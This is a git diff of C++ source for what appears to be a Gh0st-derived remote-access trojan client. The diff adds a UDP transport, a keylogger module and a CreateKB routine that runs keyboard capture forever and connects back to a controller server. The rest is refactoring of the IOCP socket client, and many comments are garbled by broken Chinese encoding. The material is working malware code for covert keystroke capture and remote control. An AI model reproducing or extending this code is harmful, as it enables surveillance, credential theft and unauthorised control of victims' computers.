|
||||
<ResourceCompile Include="Script.rc">
|
||||
<Filter>资源文件</Filter>
|
||||
</ResourceCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="ExportFunTable.def">
|
||||
<Filter>资源文件</Filter>
|
||||
</None>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Media Include="Res\msg.wav">
|
||||
<Filter>资源文件</Filter>
|
||||
</Media>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Image Include="Res\ghost.ico">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
<Image Include="Res\msg.ico">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -1,11 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LocalDebuggerCommand>$(TargetDir)\TestRun.exe</LocalDebuggerCommand>
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LocalDebuggerCommand>$(TargetDir)\TestRun.exe</LocalDebuggerCommand>
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
</PropertyGroup>
|
||||
</Project>
|
||||
@@ -170,8 +170,10 @@
|
||||
<ClCompile Include="Common.cpp" />
|
||||
<ClCompile Include="FileManager.cpp" />
|
||||
<ClCompile Include="IOCPClient.cpp" />
|
||||
<ClCompile Include="IOCPUDPClient.cpp" />
|
||||
<ClCompile Include="KernelManager.cpp" />
|
||||
<ClCompile Include="KeyboardManager.cpp" />
|
||||
<ClCompile Include="keylogger.cpp" />
|
||||
<ClCompile Include="LoginServer.cpp" />
|
||||
<ClCompile Include="Manager.cpp" />
|
||||
<ClCompile Include="MemoryModule.c" />
|
||||
@@ -189,6 +191,7 @@
|
||||
<ClCompile Include="X264Encoder.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\common\location.h" />
|
||||
<ClInclude Include="..\server\2015Remote\pwd_gen.h" />
|
||||
<ClInclude Include="Audio.h" />
|
||||
<ClInclude Include="AudioManager.h" />
|
||||
@@ -198,8 +201,10 @@
|
||||
<ClInclude Include="CursorInfo.h" />
|
||||
<ClInclude Include="FileManager.h" />
|
||||
<ClInclude Include="IOCPClient.h" />
|
||||
<ClInclude Include="IOCPUDPClient.h" />
|
||||
<ClInclude Include="KernelManager.h" />
|
||||
<ClInclude Include="KeyboardManager.h" />
|
||||
<ClInclude Include="keylogger.h" />
|
||||
<ClInclude Include="LoginServer.h" />
|
||||
<ClInclude Include="Manager.h" />
|
||||
<ClInclude Include="MemoryModule.h" />
|
||||
|
||||
4
client/ClientDll_vs2015.vcxproj.user
Normal file
4
client/ClientDll_vs2015.vcxproj.user
Normal file
@@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
||||
@@ -14,81 +14,8 @@
|
||||
#include "ProxyManager.h"
|
||||
|
||||
#include "KernelManager.h"
|
||||
#include <iniFile.h>
|
||||
|
||||
#define REG_SETTINGS "Software\\ServerD11\\Settings"
|
||||
|
||||
// д<><D0B4><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ã<EFBFBD><C3A3><EFBFBD><EFBFBD>ֽڰ棩
|
||||
bool WriteAppSettingA(const std::string& keyName, const std::string& value) {
|
||||
HKEY hKey;
|
||||
|
||||
LONG result = RegCreateKeyExA(
|
||||
HKEY_CURRENT_USER,
|
||||
REG_SETTINGS,
|
||||
0,
|
||||
NULL,
|
||||
0,
|
||||
KEY_WRITE,
|
||||
NULL,
|
||||
&hKey,
|
||||
NULL
|
||||
);
|
||||
|
||||
if (result != ERROR_SUCCESS) {
|
||||
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %d\n", result);
|
||||
return false;
|
||||
}
|
||||
|
||||
result = RegSetValueExA(
|
||||
hKey,
|
||||
keyName.c_str(),
|
||||
0,
|
||||
REG_SZ,
|
||||
reinterpret_cast<const BYTE*>(value.c_str()),
|
||||
static_cast<DWORD>(value.length() + 1)
|
||||
);
|
||||
|
||||
RegCloseKey(hKey);
|
||||
return result == ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
// <20><>ȡ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ã<EFBFBD><C3A3><EFBFBD><EFBFBD>ֽڰ棩
|
||||
bool ReadAppSettingA(const std::string& keyName, std::string& outValue) {
|
||||
HKEY hKey;
|
||||
|
||||
LONG result = RegOpenKeyExA(
|
||||
HKEY_CURRENT_USER,
|
||||
REG_SETTINGS,
|
||||
0,
|
||||
KEY_READ,
|
||||
&hKey
|
||||
);
|
||||
|
||||
if (result != ERROR_SUCCESS) {
|
||||
return false;
|
||||
}
|
||||
|
||||
char buffer[256];
|
||||
DWORD bufferSize = sizeof(buffer);
|
||||
DWORD type = 0;
|
||||
|
||||
result = RegQueryValueExA(
|
||||
hKey,
|
||||
keyName.c_str(),
|
||||
nullptr,
|
||||
&type,
|
||||
reinterpret_cast<LPBYTE>(buffer),
|
||||
&bufferSize
|
||||
);
|
||||
|
||||
RegCloseKey(hKey);
|
||||
|
||||
if (result == ERROR_SUCCESS && type == REG_SZ) {
|
||||
outValue = buffer;
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
DWORD WINAPI ThreadProc(LPVOID lParam)
|
||||
{
|
||||
@@ -105,10 +32,13 @@ template <class Manager, int n> DWORD WINAPI LoopManager(LPVOID lParam)
|
||||
ThreadInfo *pInfo = (ThreadInfo *)lParam;
|
||||
IOCPClient *ClientObject = (IOCPClient *)pInfo->p;
|
||||
CONNECT_ADDRESS& g_SETTINGS(*(pInfo->conn));
|
||||
if (ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort()))
|
||||
ClientObject->SetServerAddress(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort());
|
||||
if (pInfo->run == FOREVER_RUN || ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort()))
|
||||
{
|
||||
Manager m(ClientObject, n, pInfo->user);
|
||||
pInfo->user = &m;
|
||||
ClientObject->RunEventLoop(pInfo->run);
|
||||
pInfo->user = NULL;
|
||||
}
|
||||
delete ClientObject;
|
||||
pInfo->p = NULL;
|
||||
@@ -168,6 +98,11 @@ DWORD WINAPI LoopServicesManager(LPVOID lParam)
|
||||
|
||||
DWORD WINAPI LoopKeyboardManager(LPVOID lParam)
|
||||
{
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
std::string s = cfg.GetStr("settings", "kbrecord", "No");
|
||||
if (s == "Yes") {
|
||||
return LoopManager<CKeyboardManager1, 1>(lParam);
|
||||
}
|
||||
return LoopManager<CKeyboardManager1, 0>(lParam);
|
||||
}
|
||||
|
||||
|
||||
@@ -18,11 +18,6 @@ typedef struct UserParam
|
||||
~UserParam() { SAFE_DELETE_ARRAY(buffer); }
|
||||
}UserParam;
|
||||
|
||||
// д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
bool WriteAppSettingA(const std::string& keyName, const std::string& value);
|
||||
// <20><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>
|
||||
bool ReadAppSettingA(const std::string& keyName, std::string& outValue);
|
||||
|
||||
DWORD WINAPI ThreadProc(LPVOID lParam);
|
||||
|
||||
DWORD WINAPI LoopShellManager(LPVOID lParam);
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
#ifdef _WIN32
|
||||
#include "stdafx.h"
|
||||
#include <WS2tcpip.h>
|
||||
#else
|
||||
#include <netdb.h>
|
||||
#include <sys/socket.h>
|
||||
@@ -48,7 +49,6 @@ inline int WSAGetLastError() { return -1; }
|
||||
#endif
|
||||
#endif
|
||||
#endif
|
||||
#include <WS2tcpip.h>
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
@@ -98,6 +98,7 @@ VOID IOCPClient::setManagerCallBack(void* Manager, DataProcessCB dataProcess)
|
||||
|
||||
IOCPClient::IOCPClient(State&bExit, bool exit_while_disconnect) : g_bExit(bExit)
|
||||
{
|
||||
m_ServerAddr = {};
|
||||
m_nHostPort = 0;
|
||||
m_Manager = NULL;
|
||||
#ifdef _WIN32
|
||||
@@ -126,12 +127,7 @@ IOCPClient::IOCPClient(State&bExit, bool exit_while_disconnect) : g_bExit(bExit)
|
||||
IOCPClient::~IOCPClient()
|
||||
{
|
||||
m_bIsRunning = FALSE;
|
||||
|
||||
if (m_sClientSocket!=INVALID_SOCKET)
|
||||
{
|
||||
closesocket(m_sClientSocket);
|
||||
m_sClientSocket = INVALID_SOCKET;
|
||||
}
|
||||
Disconnect();
|
||||
|
||||
if (m_hWorkThread!=NULL)
|
||||
{
|
||||
@@ -210,13 +206,11 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
||||
}
|
||||
|
||||
#ifdef _WIN32
|
||||
//<2F><><EFBFBD><EFBFBD>sockaddr_in<69>ṹ Ҳ<><D2B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض˵Ľṹ
|
||||
sockaddr_in ServerAddr;
|
||||
ServerAddr.sin_family = AF_INET; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> IP
|
||||
ServerAddr.sin_port = htons(port);
|
||||
ServerAddr.sin_addr.S_un.S_addr = inet_addr(m_sCurIP.c_str());
|
||||
m_ServerAddr.sin_family = AF_INET;
|
||||
m_ServerAddr.sin_port = htons(port);
|
||||
m_ServerAddr.sin_addr.S_un.S_addr = inet_addr(m_sCurIP.c_str());
|
||||
|
||||
if (connect(m_sClientSocket,(SOCKADDR *)&ServerAddr,sizeof(sockaddr_in)) == SOCKET_ERROR)
|
||||
if (connect(m_sClientSocket,(SOCKADDR *)&m_ServerAddr,sizeof(sockaddr_in)) == SOCKET_ERROR)
|
||||
{
|
||||
if (m_sClientSocket!=INVALID_SOCKET)
|
||||
{
|
||||
@@ -226,12 +220,11 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
||||
return FALSE;
|
||||
}
|
||||
#else
|
||||
sockaddr_in ServerAddr = {};
|
||||
ServerAddr.sin_family = AF_INET; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> IP
|
||||
ServerAddr.sin_port = htons(port);
|
||||
m_ServerAddr.sin_family = AF_INET;
|
||||
m_ServerAddr.sin_port = htons(port);
|
||||
// <20><>szServerIP<49><50><EFBFBD><EFBFBD><EFBFBD>ֿ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IPת<50><D7AA>
|
||||
// ʹ<><CAB9> inet_pton <20><><EFBFBD><EFBFBD> inet_addr (inet_pton <20><><EFBFBD><EFBFBD>֧<EFBFBD><D6A7> IPv4 <20><> IPv6)
|
||||
if (inet_pton(AF_INET, m_sCurIP.c_str(), &ServerAddr.sin_addr) <= 0) {
|
||||
if (inet_pton(AF_INET, m_sCurIP.c_str(), &m_ServerAddr.sin_addr) <= 0) {
|
||||
Mprintf("Invalid address or address not supported\n");
|
||||
return false;
|
||||
}
|
||||
@@ -244,7 +237,7 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
||||
}
|
||||
|
||||
// <20><><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (connect(m_sClientSocket, (struct sockaddr*)&ServerAddr, sizeof(ServerAddr)) == -1) {
|
||||
if (connect(m_sClientSocket, (struct sockaddr*)&m_ServerAddr, sizeof(m_ServerAddr)) == -1) {
|
||||
Mprintf("Connection failed\n");
|
||||
close(m_sClientSocket);
|
||||
m_sClientSocket = -1; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><D7BD><EFBFBD><EFBFBD><EFBFBD>Ч
|
||||
@@ -320,7 +313,7 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
|
||||
}
|
||||
else if (iRet > 0)
|
||||
{
|
||||
int iReceivedLength = recv(This->m_sClientSocket, szBuffer, MAX_RECV_BUFFER-1, 0);
|
||||
int iReceivedLength = This->ReceiveData(szBuffer, MAX_RECV_BUFFER-1, 0);
|
||||
if (iReceivedLength <= 0)
|
||||
{
|
||||
int a = WSAGetLastError();
|
||||
@@ -344,6 +337,19 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
|
||||
return 0xDEAD;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD>쳣<EFBFBD><ECB3A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݴ<EFBFBD><DDB4><EFBFBD><EFBFBD><EFBFBD>:
|
||||
// <20><><EFBFBD><EFBFBD> f ִ<><D6B4>ʱ û<>д<EFBFBD><D0B4><EFBFBD>ϵͳ<CFB5>쳣<EFBFBD><ECB3A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʳ<EFBFBD>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 0
|
||||
// <20><><EFBFBD><EFBFBD> f ִ<>й<EFBFBD><D0B9><EFBFBD><EFBFBD><EFBFBD> <20>׳<EFBFBD><D7B3><EFBFBD><EFBFBD>쳣<EFBFBD><ECB3A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD>ʣ<EFBFBD><CAA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> __except <20><><EFBFBD><EFBFBD><F1A3ACB7><EFBFBD><EFBFBD>쳣<EFBFBD>루<EFBFBD><EBA3A8> 0xC0000005 <20><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>Υ<EFBFBD>棩
|
||||
int DataProcessWithSEH(DataProcessCB f, void* manager, LPBYTE data, ULONG len) {
|
||||
__try {
|
||||
if (f) f(manager, data, len);
|
||||
return 0;
|
||||
}
|
||||
__except (EXCEPTION_EXECUTE_HANDLER) {
|
||||
return GetExceptionCode();
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
|
||||
{
|
||||
@@ -394,8 +400,10 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
|
||||
{
|
||||
//<2F><>ѹ<EFBFBD>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݺͳ<DDBA><CDB3>ȴ<EFBFBD><C8B4>ݸ<EFBFBD><DDB8><EFBFBD><EFBFBD><EFBFBD>Manager<65><72><EFBFBD>д<EFBFBD><D0B4><EFBFBD> ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˶<EFBFBD>̬
|
||||
//<2F><><EFBFBD><EFBFBD>m_pManager<65>е<EFBFBD><D0B5><EFBFBD><EFBFBD>һ<E0B2BB><D2BB><EFBFBD><EFBFBD><EFBFBD>ɵ<EFBFBD><C9B5>õ<EFBFBD>OnReceive<76><65><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>
|
||||
if (m_DataProcess)
|
||||
m_DataProcess(m_Manager, (PBYTE)DeCompressedBuffer, ulOriginalLength);
|
||||
int ret = DataProcessWithSEH(m_DataProcess, m_Manager, DeCompressedBuffer, ulOriginalLength);
|
||||
if (ret) {
|
||||
Mprintf("[ERROR] DataProcessWithSEH return exception code: [0x%08X]\n", ret);
|
||||
}
|
||||
}
|
||||
else{
|
||||
Mprintf("[ERROR] uncompress fail: dstLen %d, srcLen %d\n", ulOriginalLength, ulCompressedLength);
|
||||
@@ -481,7 +489,7 @@ BOOL IOCPClient::SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSpl
|
||||
int j = 0;
|
||||
for (; j < ulSendRetry; ++j)
|
||||
{
|
||||
iReturn = send(m_sClientSocket, Travel, ulSplitLength, 0);
|
||||
iReturn = SendTo(Travel, ulSplitLength, 0);
|
||||
if (iReturn > 0)
|
||||
{
|
||||
break;
|
||||
@@ -501,7 +509,7 @@ BOOL IOCPClient::SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSpl
|
||||
int j = 0;
|
||||
for (; j < ulSendRetry; j++)
|
||||
{
|
||||
iReturn = send(m_sClientSocket, (char*)Travel,i,0);
|
||||
iReturn = SendTo((char*)Travel,i,0);
|
||||
|
||||
if (iReturn > 0)
|
||||
{
|
||||
@@ -524,7 +532,7 @@ VOID IOCPClient::Disconnect()
|
||||
if (m_sClientSocket == INVALID_SOCKET)
|
||||
return;
|
||||
|
||||
Mprintf("<EFBFBD>Ͽ<EFBFBD><EFBFBD>ͷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>˵<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n");
|
||||
Mprintf("Disconnect with [%s:%d].\n", m_sCurIP.c_str(), m_nHostPort);
|
||||
|
||||
CancelIo((HANDLE)m_sClientSocket);
|
||||
closesocket(m_sClientSocket);
|
||||
@@ -537,7 +545,7 @@ VOID IOCPClient::Disconnect()
|
||||
VOID IOCPClient::RunEventLoop(const BOOL &bCondition)
|
||||
{
|
||||
Mprintf("======> RunEventLoop begin\n");
|
||||
while (m_bIsRunning && bCondition)
|
||||
while ((m_bIsRunning && bCondition) || bCondition == FOREVER_RUN)
|
||||
Sleep(200);
|
||||
setManagerCallBack(NULL, NULL);
|
||||
Mprintf("======> RunEventLoop end\n");
|
||||
|
||||
@@ -2,12 +2,7 @@
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_IOCPCLIENT_H__C96F42A4_1868_48DF_842F_BF831653E8F9__INCLUDED_)
|
||||
#define AFX_IOCPCLIENT_H__C96F42A4_1868_48DF_842F_BF831653E8F9__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#ifdef _WIN32
|
||||
#include "stdafx.h"
|
||||
@@ -64,28 +59,18 @@ class IOCPClient
|
||||
public:
|
||||
IOCPClient(State& bExit, bool exit_while_disconnect = false);
|
||||
virtual ~IOCPClient();
|
||||
SOCKET m_sClientSocket;
|
||||
CBuffer m_CompressedBuffer;
|
||||
BOOL m_bWorkThread;
|
||||
HANDLE m_hWorkThread;
|
||||
#if USING_CTX
|
||||
ZSTD_CCtx* m_Cctx; // ѹ<><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
ZSTD_DCtx* m_Dctx; // <20><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
#endif
|
||||
|
||||
int SendLoginInfo(const LOGIN_INFOR& logInfo) {
|
||||
LOGIN_INFOR tmp = logInfo;
|
||||
int iRet = Send2Server((char*)&tmp, sizeof(LOGIN_INFOR));
|
||||
|
||||
return iRet;
|
||||
}
|
||||
BOOL ConnectServer(const char* szServerIP, unsigned short uPort);
|
||||
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
||||
virtual BOOL ConnectServer(const char* szServerIP, unsigned short uPort);
|
||||
|
||||
BOOL Send2Server(const char* szBuffer, ULONG ulOriginalLength) {
|
||||
return OnServerSending(szBuffer, ulOriginalLength);
|
||||
}
|
||||
VOID OnServerReceiving(char* szBuffer, ULONG ulReceivedLength);
|
||||
BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength);
|
||||
BOOL SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSplitLength);
|
||||
|
||||
void SetServerAddress(const char* szServerIP, unsigned short uPort) {
|
||||
m_Domain = szServerIP ? szServerIP : "127.0.0.1";
|
||||
@@ -101,18 +86,47 @@ public:
|
||||
m_bIsRunning = FALSE;
|
||||
}
|
||||
|
||||
VOID setManagerCallBack(void* Manager, DataProcessCB dataProcess);
|
||||
|
||||
VOID RunEventLoop(const BOOL &bCondition);
|
||||
bool IsConnected() const { return m_bConnected == TRUE; }
|
||||
BOOL Reconnect(void* manager) {
|
||||
Disconnect();
|
||||
if (manager) m_Manager = manager;
|
||||
return ConnectServer(NULL, 0);
|
||||
}
|
||||
State& GetState() {
|
||||
return g_bExit;
|
||||
}
|
||||
protected:
|
||||
virtual int ReceiveData(char* buffer, int bufSize, int flags) {
|
||||
// TCP<43>汾<EFBFBD><E6B1BE><EFBFBD><EFBFBD> recv
|
||||
return recv(m_sClientSocket, buffer, bufSize - 1, 0);
|
||||
}
|
||||
virtual VOID Disconnect(); // <20><><EFBFBD><EFBFBD>֧<EFBFBD><D6A7> TCP/UDP
|
||||
virtual int SendTo(const char* buf, int len, int flags) {
|
||||
return ::send(m_sClientSocket, buf, len, flags);
|
||||
}
|
||||
BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength);
|
||||
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
||||
VOID OnServerReceiving(char* szBuffer, ULONG ulReceivedLength);
|
||||
BOOL SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSplitLength);
|
||||
|
||||
protected:
|
||||
sockaddr_in m_ServerAddr;
|
||||
char m_szPacketFlag[FLAG_LENGTH + 3];
|
||||
SOCKET m_sClientSocket;
|
||||
CBuffer m_CompressedBuffer;
|
||||
BOOL m_bWorkThread;
|
||||
HANDLE m_hWorkThread;
|
||||
BOOL m_bIsRunning;
|
||||
BOOL m_bConnected;
|
||||
|
||||
char m_szPacketFlag[FLAG_LENGTH + 3];
|
||||
#if USING_CTX
|
||||
ZSTD_CCtx* m_Cctx; // ѹ<><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
ZSTD_DCtx* m_Dctx; // <20><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
#endif
|
||||
|
||||
VOID setManagerCallBack(void* Manager, DataProcessCB dataProcess);
|
||||
|
||||
VOID Disconnect();
|
||||
VOID RunEventLoop(const BOOL &bCondition);
|
||||
bool IsConnected() const { return m_bConnected == TRUE; }
|
||||
|
||||
public:
|
||||
State& g_bExit; // ȫ<><C8AB>״̬<D7B4><CCAC>
|
||||
void* m_Manager; // <20>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>
|
||||
DataProcessCB m_DataProcess; // <20><><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>
|
||||
@@ -121,5 +135,3 @@ public:
|
||||
int m_nHostPort;
|
||||
bool m_exit_while_disconnect;
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_IOCPCLIENT_H__C96F42A4_1868_48DF_842F_BF831653E8F9__INCLUDED_)
|
||||
|
||||
63
client/IOCPUDPClient.cpp
Normal file
63
client/IOCPUDPClient.cpp
Normal file
@@ -0,0 +1,63 @@
|
||||
#include "IOCPUDPClient.h"
|
||||
|
||||
|
||||
BOOL IOCPUDPClient::ConnectServer(const char* szServerIP, unsigned short uPort) {
|
||||
if (szServerIP != NULL && uPort != 0) {
|
||||
SetServerAddress(szServerIP, uPort);
|
||||
}
|
||||
m_sCurIP = m_Domain.SelectIP();
|
||||
unsigned short port = m_nHostPort;
|
||||
|
||||
// <20><><EFBFBD><EFBFBD> UDP socket
|
||||
m_sClientSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
|
||||
if (m_sClientSocket == INVALID_SOCKET) {
|
||||
Mprintf("Failed to create UDP socket\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// <20><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD>ṹ
|
||||
memset(&m_ServerAddr, 0, sizeof(m_ServerAddr));
|
||||
m_ServerAddr.sin_family = AF_INET;
|
||||
m_ServerAddr.sin_port = htons(port);
|
||||
|
||||
#ifdef _WIN32
|
||||
m_ServerAddr.sin_addr.S_un.S_addr = inet_addr(m_sCurIP.c_str());
|
||||
#else
|
||||
if (inet_pton(AF_INET, m_sCurIP.c_str(), &m_ServerAddr.sin_addr) <= 0) {
|
||||
Mprintf("Invalid address or address not supported\n");
|
||||
closesocket(m_sClientSocket);
|
||||
m_sClientSocket = INVALID_SOCKET;
|
||||
return FALSE;
|
||||
}
|
||||
#endif
|
||||
|
||||
// UDP<44><50><EFBFBD><EFBFBD><EFBFBD><EFBFBD> connect()<29><>Ҳ<EFBFBD><D2B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD> TCP keep-alive <20><><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1>
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̣߳<DFB3><CCA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA>
|
||||
if (m_hWorkThread == NULL) {
|
||||
#ifdef _WIN32
|
||||
m_hWorkThread = (HANDLE)CreateThread(NULL, 0, WorkThreadProc, (LPVOID)this, 0, NULL);
|
||||
m_bWorkThread = m_hWorkThread ? S_RUN : S_STOP;
|
||||
#else
|
||||
pthread_t id = 0;
|
||||
m_hWorkThread = (HANDLE)pthread_create(&id, nullptr, (void* (*)(void*))IOCPClient::WorkThreadProc, this);
|
||||
#endif
|
||||
}
|
||||
|
||||
Mprintf("UDP client socket created and ready to send.\n");
|
||||
m_bConnected = TRUE;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
int IOCPUDPClient::ReceiveData(char* buffer, int bufSize, int flags) {
|
||||
sockaddr_in fromAddr;
|
||||
int fromLen = sizeof(fromAddr);
|
||||
return recvfrom(m_sClientSocket, buffer, bufSize - 1, flags, (sockaddr*)&fromAddr, &fromLen);
|
||||
}
|
||||
|
||||
int IOCPUDPClient::SendTo(const char* buf, int len, int flags) {
|
||||
if (len > 1200) {
|
||||
Mprintf("UDP large packet may lost: %d bytes\n", len);
|
||||
}
|
||||
return ::sendto(m_sClientSocket, buf, len, flags, (sockaddr*)&m_ServerAddr, sizeof(m_ServerAddr));
|
||||
}
|
||||
16
client/IOCPUDPClient.h
Normal file
16
client/IOCPUDPClient.h
Normal file
@@ -0,0 +1,16 @@
|
||||
#pragma once
|
||||
#include "IOCPClient.h"
|
||||
|
||||
class IOCPUDPClient : public IOCPClient
|
||||
{
|
||||
public:
|
||||
IOCPUDPClient(State& bExit, bool exit_while_disconnect = false):IOCPClient(bExit, exit_while_disconnect){}
|
||||
|
||||
virtual ~IOCPUDPClient(){}
|
||||
|
||||
virtual BOOL ConnectServer(const char* szServerIP, unsigned short uPort) override;
|
||||
|
||||
virtual int ReceiveData(char* buffer, int bufSize, int flags) override;
|
||||
|
||||
virtual int SendTo(const char* buf, int len, int flags) override;
|
||||
};
|
||||
@@ -13,12 +13,32 @@
|
||||
#include "common/dllRunner.h"
|
||||
#include "server/2015Remote/pwd_gen.h"
|
||||
#include <common/iniFile.h>
|
||||
#include "IOCPUDPClient.h"
|
||||
|
||||
// UDP Э<><D0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD>ݣ<EFBFBD><DDA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, bool exit_while_disconnect) {
|
||||
if (conn->protoType == PROTO_TCP)
|
||||
return new IOCPClient(bExit, exit_while_disconnect);
|
||||
if (conn->protoType == PROTO_UDP)
|
||||
return new IOCPUDPClient(bExit, exit_while_disconnect);
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit) {
|
||||
static ThreadInfo tKeyboard;
|
||||
tKeyboard.run = FOREVER_RUN;
|
||||
tKeyboard.p = new IOCPClient(bExit, false);
|
||||
tKeyboard.conn = conn;
|
||||
tKeyboard.h = (HANDLE)CreateThread(NULL, NULL, LoopKeyboardManager, &tKeyboard, 0, NULL);
|
||||
return &tKeyboard;
|
||||
}
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
